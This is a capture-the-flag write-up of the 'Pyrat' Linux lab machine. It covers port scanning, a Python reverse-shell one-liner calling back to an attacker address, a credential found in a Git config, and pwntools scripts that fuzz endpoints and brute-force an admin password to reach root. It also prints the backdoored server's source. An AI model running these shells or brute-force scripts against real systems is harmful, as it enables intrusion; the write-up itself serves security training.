This machine provide a remote Python REPL environment via a SimpleHTTP service.

We just gain initial access by constructing a simple Python version of a reverse shell.

After conducting a thorough search of the system (targeting users with login shells), we discovered that one user maintained a Git repository containing their login credentials. Subsquently, uncovered clues within the Git logs pointing to the remote REPL environment. This led us to further fuzz the environment hidden endpoint and its password, ultimately gaining root privilege.

Summary

Scope

  • Name: Pyrat
  • Difficulty: Easy
  • OS: Linux
  • IP: 10.49.132.89

Learned

  • Sometimes the functionality provided by a service may not fully align with its protocol. For example, in this challenge, the web service actually provides a Python REPL environment.
  • During lateral movement and privilege escalation, targeted searches for specific users may yield clues more quickly.
  • pwntools is a good friend, it's worth spending more time to understand.

Enumeration

Nmap

Overall

nmap -sT --min-rate 5000 -oN overall [IP]

Host is up (0.29s latency).
Not shown: 44954 closed tcp ports (reset), 20579 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Detail

nmap -sC -sV -O -vv -p22,8000 -oN detail [IP]

Host is up, received timestamp-reply ttl 62 (0.28s latency).
Scanned at 2026-01-21 15:26:10 CST for 190s

PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d5:bc:2a:83:32:9c:0c:08:9e:d9:1e:1a:ff:cd:34:7f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDilSIW8LZZMsLuTQIt7uB0DjEt4aREmNWwmR1G3QLTGWeZCnoHBMOSJeWfY8Svxfoabumu1fzLEHEoosvk2XjPW4Ccdp4huKQzM75L4CF5EvPfjmzBdcsL8pRNm5gGaQx9aO6yx3+FtxDCbuUs7bCU4/YQToBsEEiM2qp5EW6dxA9md4+3Al48W1SLSIkGSaC0EXOWknMeXUGdEyuet6PIO3SqbW67Gox5zXgxE8e6xlzeZxfcbyu9nO+9mAcZciHMqXGSEXC9ttVQCRqCeIr1tSin+KObaXkhz3ner4toeoeaSwAFlw5I7Hb5rAad8a5hzFQdt+EEXLuwGc5mkc7zTGEEHJk7E7iDEvcsa6JM0jfjYjsjeJeBy8U00cjXkYLKPMsUBu+hjHS+204STasorbs6YYeMY7Pz8htmh7etqEfwEc6bxTF6t4UM883VOdCOTTQZk86NMRpjBIeMf6n0BD2Tu+kyxNfYL6rYcentI0wcvheFcYZ8/O8XvDxcNHE=
|   256 00:47:60:a2:47:0b:45:b3:b9:ef:03:91:f2:b5:29:05 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFzQ6uIxHtGJDdXdohiLGJOfhJJchfuqZY+9OX95Gl4gi58EIOXqhVhJ5jp6/DJHx4euvTQfiElL4GBwGPq6hMY=
|   256 46:11:ba:26:9d:c9:63:9c:ac:71:2a:2d:39:60:c2:75 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBOViwftdaXf9H5gvPtAO8Jkv2MTJ7oHwqkHmqBo/SFn
8000/tcp open  http-alt syn-ack ttl 62 SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.98%I=7%D=1/21%Time=69707F9E%P=aarch64-unknown-linux-gn
SF:u%r(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x2
SF:0defined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20conta
SF:in\x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(
SF:<string>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20c
SF:annot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTION
SF:S'\x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20i
SF:s\x20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20st
SF:ring\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D
SF:,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(
SF:Help,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"inv
SF:alid\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"inval
SF:id\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\
SF:x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,
SF:2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%
SF:r(JavaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20
SF:bytes\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 4.15 - 5.19 (96%), Linux 4.15 (96%), Linux 5.4 (96%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Android 9 - 10 (Linux 4.9 - 4.14) (92%), Android 12 (Linux 5.4) (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.7 - 4.19 (92%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.98%E=4%D=1/21%OT=22%CT=%CU=32544%PV=Y%DS=3%DC=I%G=N%TM=69708050%P=aarch64-unknown-linux-gnu)
SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)
SEQ(SP=109%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M4E8NNT11NW7%O4=M4E8ST11NW7%O5=M4E8ST11NW7%O6=M4E8ST11)
WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)
ECN(R=Y%DF=Y%T=40%W=F507%O=M4E8NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 24.797 days (since Sat Dec 27 20:21:02 2025)
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

UDPScan

nmap -sU --top-ports 20 -oN udpscan [IP]

Nmap scan report for 10.49.132.89
Host is up (0.31s latency).

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
123/udp   closed        ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   open|filtered snmp
162/udp   closed        snmptrap
445/udp   closed        microsoft-ds
500/udp   closed        isakmp
514/udp   closed        syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  closed        ms-sql-m
1900/udp  closed        upnp
4500/udp  closed        nat-t-ike
49152/udp closed        unknown

Simplest Fuzz

Let's interact with web service. Keep in mind this is a Python SimpleHTTP service.

$ curl http://10.49.132.89:8000
Try a more basic connection

curl interacts with service via the HTTP protocol, but it prompts us to attempt a more fundamental connection (something can custom protocol header), which immediately brings netcat to mind!

$ nc 10.49.132.89 8000
test
name 'test' is not defined
print(1+1)
2

import sys

print(sys.version)
3.8.10 (default, Mar 18 2025, 20:04:55)
[GCC 9.4.0]

Yeah, I first try some random word to service and it says that not defined. And I remember that this is a Python service, so I try a simple Python expression. Then I get it!

This Web service just provide a remote Python REPL environment!

Foothold

Now that we have a Python REPL environment, the foothold becomes very simple: just build reverse shell via Python.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.145.249",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

That's it.

$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [192.168.145.249] from (UNKNOWN) [10.49.132.89] 43402
$

Enhance Interactivity of Shell (optional)

The default shell we obtained is not a fully interactive shell. I leverage script command to elevate it to interactive.

$ script -q /dev/null -c /bin/bash
script -q /dev/null -c /bin/bash
bash: /root/.bashrc: Permission denied
www-data@ip-10-49-132-89:~$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ip-10-49-132-89:~$

www-data@ip-10-49-132-89:~$ ^Z
zsh: suspended  nc -lvnp 4443

(curtain㉿Kali)-[/media/psf/workspace/thm/pyrat]
$ stty raw -echo && fg
[1]  + continued  nc -lvnp 4443

www-data@ip-10-49-132-89:~$
www-data@ip-10-49-132-89:~$ export TERM=xterm
www-data@ip-10-49-132-89:~$

Privilege Escalation

Pivoting (www-data -> think)

Now we are a low-privilege user (www-data), so we first target is the other high-privilege users.

www-data@ip-10-49-132-89:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
think:x:1000:1000:,,,:/home/think:/bin/bash
ubuntu:x:1001:1002:Ubuntu:/home/ubuntu:/bin/bash

Let's see if there's anything interesting in these two user's home directories.

www-data@ip-10-49-132-89:~$ ls -la /home
total 16
drwxr-xr-x  4 root   root   4096 Jan 21 07:16 .
drwxr-xr-x 18 root   root   4096 Jan 21 07:16 ..
drwxr-x---  5 think  think  4096 Jun 21  2023 think
drwxr-xr-x  3 ubuntu ubuntu 4096 Jan 21 07:16 ubuntu
www-data@ip-10-49-132-89:~$ ls -la /home/think
ls: cannot open directory '/home/think': Permission denied
www-data@ip-10-49-132-89:~$ ls -la /home/ubuntu
total 24
drwxr-xr-x 3 ubuntu ubuntu 4096 Jan 21 07:16 .
drwxr-xr-x 4 root   root   4096 Jan 21 07:16 ..
-rw-r--r-- 1 ubuntu ubuntu  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 ubuntu ubuntu  807 Feb 25  2020 .profile
drwx------ 2 ubuntu ubuntu 4096 Jan 21 07:16 .ssh

Interesting, We don't have permission for reading user think's home directory. Additionally, the user ubuntu has a special directory called .ssh.

Since we currently lack access to these two user's home directories, we can find to see which directories in the system belong to these two users.

www-data@ip-10-49-132-89:/$ find / -user think -type d 2>/dev/null
/opt/dev
/opt/dev/.git
/opt/dev/.git/objects
/opt/dev/.git/objects/info
/opt/dev/.git/objects/0a
/opt/dev/.git/objects/pack
/opt/dev/.git/objects/ce
/opt/dev/.git/objects/56
/opt/dev/.git/hooks
/opt/dev/.git/info
/opt/dev/.git/logs
/opt/dev/.git/logs/refs
/opt/dev/.git/logs/refs/heads
/opt/dev/.git/branches
/opt/dev/.git/refs
/opt/dev/.git/refs/heads
/opt/dev/.git/refs/tags
/home/think
www-data@ip-10-49-132-89:/$ find / -user ubuntu -type d 2>/dev/null
/home/ubuntu
/home/ubuntu/.ssh

Woo! There's a Git repository here!

www-data@ip-10-49-132-89:/opt/dev$ git log -p
fatal: detected dubious ownership in repository at '/opt/dev'
To add an exception for this directory, call:

	git config --global --add safe.directory /opt/dev
www-data@ip-10-49-132-89:/opt/dev$ git config --global --add safe.directory /opt/dev/
warning: unable to access '/root/.gitconfig': Permission denied
warning: unable to access '/root/.config/git/config': Permission denied
error: could not lock config file /root/.gitconfig: Permission denied

Unfortunately, we also lack the permission to directly view the Git log! Let's do it manually.

www-data@ip-10-49-132-89:/opt/dev$ cd .git/
www-data@ip-10-49-132-89:/opt/dev/.git$ ls -al
total 52
drwxrwxr-x 8 think think 4096 Jun 21  2023 .
drwxrwxr-x 3 think think 4096 Jun 21  2023 ..
drwxrwxr-x 2 think think 4096 Jun 21  2023 branches
-rw-rw-r-- 1 think think   21 Jun 21  2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think  296 Jun 21  2023 config
-rw-rw-r-- 1 think think   73 Jun 21  2023 description
-rw-rw-r-- 1 think think   23 Jun 21  2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21  2023 hooks
-rw-rw-r-- 1 think think  145 Jun 21  2023 index
drwxrwxr-x 2 think think 4096 Jun 21  2023 info
drwxrwxr-x 3 think think 4096 Jun 21  2023 logs
drwxrwxr-x 7 think think 4096 Jun 21  2023 objects
drwxrwxr-x 4 think think 4096 Jun 21  2023 refs

Here is a config file that caught my attention (Git config may contain secret information).

www-data@ip-10-49-132-89:/opt/dev/.git$ cat config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[user]
    	name = Jose Mario
    	email = josemlwdf@github.com

[credential]
    	helper = cache --timeout=3600

[credential "https://github.com"]
    	username = think
    	password = _***************_

Yeah! There's a credential for think here.

Escalation (think -> root)

Now we are the user think.

www-data@ip-10-49-132-89:/opt/dev$ su think
Password:
think@ip-10-49-132-89:/opt/dev$ id
uid=1000(think) gid=1000(think) groups=1000(think)
think@ip-10-49-132-89:~$ ls -la
total 40
drwxr-x--- 5 think think 4096 Jun 21  2023 .
drwxr-xr-x 4 root  root  4096 Jan 21 07:16 ..
lrwxrwxrwx 1 root  root     9 Jun 15  2023 .bash_history -> /dev/null
-rwxr-x--- 1 think think  220 Jun  2  2023 .bash_logout
-rwxr-x--- 1 think think 3771 Jun  2  2023 .bashrc
drwxr-x--- 2 think think 4096 Jun  2  2023 .cache
-rwxr-x--- 1 think think   25 Jun 21  2023 .gitconfig
drwx------ 3 think think 4096 Jun 21  2023 .gnupg
-rwxr-x--- 1 think think  807 Jun  2  2023 .profile
drwx------ 3 think think 4096 Jun 21  2023 snap
-rw-r--r-- 1 root  think   33 Jun 15  2023 user.txt
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .viminfo -> /dev/null
think@ip-10-49-132-89:~$ cat user.txt
99****************************05

Default Approaches (sudo rules and SUID)

Let's try default approaches first.

think@ip-10-49-132-89:~$ sudo -l
[sudo] password for think:
Sorry, user think may not run sudo on ip-10-49-132-89.

think@ip-10-49-132-89:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount

Nothing to exploit here.

Fuzz Endpoints

Next, we can view the Git log again, since we are a normal user.

think@ip-10-49-132-89:/opt/dev$ git log -p
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+    if data == 'some_endpoint':
+        get_this_enpoint(client_socket)
+    else:
+        # Check socket is admin and downgrade if is not aprooved
+        uid = os.getuid()
+        if (uid == 0):
+            change_uid()
+
+        if data == 'shell':
+            shell(client_socket)
+        else:
+            exec_python(client_socket, data)
+
+def shell(client_socket):
+    try:
+        import pty
+        os.dup2(client_socket.fileno(), 0)
+        os.dup2(client_socket.fileno(), 1)
+        os.dup2(client_socket.fileno(), 2)
+        pty.spawn("/bin/sh")
+    except Exception as e:
+        send_data(client_socket, e
+
+...............................................

This file appears to be the backend source code for this Python environment, but it is incomplete. Let's verify it.

$ nc 10.49.132.89 8000
shell
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ nc 10.49.132.89 8000
some_endpoint
name 'some_endpoint' is not defined

Alright, then we can processed to fuzz test this service to identify its endpoints.

from pwn import *

context.log_level = 'critical'
endpoints = '/usr/share/wordlists/seclists/Discovery/Web-Content/api/actions.txt'

def fuzz_endpoints(endpoints):

    with open(endpoints, 'r') as f:
        for endpoint in f:
            io = remote('10.49.132.89', 8000)

            io.sendline(endpoint.strip().encode())

            result = io.recvline()

            if b'is not defined' in result:
                io.close() # connection is one-time pass, so we need reconnect it
            else:
                log.critical(f'[+] endpoint: {endpoint} may exists!')
                io.close()

We use seclists's api actions for wordlists here. (If this doesn't provide us with useful information, we can try another wordlists).

$ python fuzz_endpoints.py
[+] Opening connection to 10.49.132.89 on port 8000: Done
[*] Closed connection to 10.49.132.89 port 8000
...
[CRITICAL] [+] endpoint: admin may exists!
...
[CRITICAL] [+] endpoint: def may exists!
...
[CRITICAL] [+] endpoint: del may exists!
...
[CRITICAL] [+] endpoint: list may exists!
...
[CRITICAL] [+] endpoint: map may exists!
...
[CRITICAL] [+] endpoint: quit may exists!
...
[CRITICAL] [+] endpoint: set may exists!
[+] Opening connection to 10.49.132.89 on port 8000: Done
[*] Closed connection to 10.49.132.89 port 8000

Luckily, except for admin endpoint, the rest should all be Python-supported keywords or function names.

$ nc 10.49.132.89 8000
admin
Password:
123
Password:
123
Password:
123
admin
Password:
  • This endpoint needs a password.
  • Every three incorrect password attemps, the verification process must be restarted.
  • The entire verification process does not require reconnection (fuzz_endpoints need).
  • Third attempt will return nothing.

So we write script for fuzz it with rockyou.txt wordlists.

from pwn import *

context.log_level = 'critical'
passwords = '/usr/share/wordlists/rockyou.txt'

def fuzz_password(passwords):

    io = remote('10.49.132.89', 8000) # NOTE: admin endpoint need not to reconnection
    io.sendline(b'admin')
    io.recvline()

    attempt_count = 0
    with open(passwords, 'r', encoding = 'latin-1') as f:
        for password in f:
            password = password.strip()
            if attempt_count == 3:
                io.sendline(b'admin')
                io.recvline()
                attempt_count = 0
            attempt_count += 1

            io.sendline(password.encode())
            if attempt_count == 3:
                result = io.recvline(timeout = 0.5) # NOTE: third try will return nothing, include \n, so we shouldn't wait here
            else:
                result = io.recvline()


            if b'Password' not in result and b'' != result.strip():
                log.critical(f'password: {password} may success')
                break

Run it will get the password.

$ python fuzz_endpoints.py
[CRITICAL] password: ****** may success

Root Flag

$ nc 10.49.132.89 8000
admin
Password:
a****3
Welcome Admin!!! Type "shell" to begin
shell
# id
id
uid=0(root) gid=0(root) groups=0(root)
# pwd
pwd
/root
# ls -l
ls -l
total 16
-rwxr-xr-x 1 root root 5360 Apr 15  2024 pyrat.py
-rw-r----- 1 root root   33 Jun 15  2023 root.txt
drwxrwx--- 3 root root 4096 Jun  2  2023 snap
# cat root.txt
cat root.txt
ba****************************21

Implmentation (optional)

BTW, we notice that there's a file called pyrat.py which appears to the backend source code. We download it will get that:

# ....
def handle_client(client_socket, client_address):
    try:
        while True:
            # Receive data from the client
            data = client_socket.recv(1024).decode("utf-8")
            if not data:
                # Client disconnected
                break
            if is_http(data):
                send_data(client_socket, fake_http())
                continue

            switch_case(client_socket, str(data).strip())
    except:
        pass

    remove_socket(client_socket)


def switch_case(client_socket, data):
    if data == 'admin':
        get_admin(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0) and (str(client_socket) not in admins):
            change_uid()
        if data == 'shell':
            shell(client_socket)
            remove_socket(client_socket)
        else:
            exec_python(client_socket, data)


# Tries to execute the random data with Python
def exec_python(client_socket, data):
    try:
        print(str(client_socket) + " : " + str(data))
        # Redirect stdout to capture the printed output
        captured_output = StringIO()
        sys.stdout = captured_output

        # Execute the received data as code
        exec(data)

        # Get the captured output
        exec_output = captured_output.getvalue()

        # Send the result back to the client
        send_data(client_socket, exec_output)
    except Exception as e:
        # Send the exception message back to the client
        send_data(client_socket, e)
    finally:
        # Reset stdout to the default
        sys.stdout = sys.__stdout__
# ...

Which setup a fake web service, but in reality, it left a root backdoor.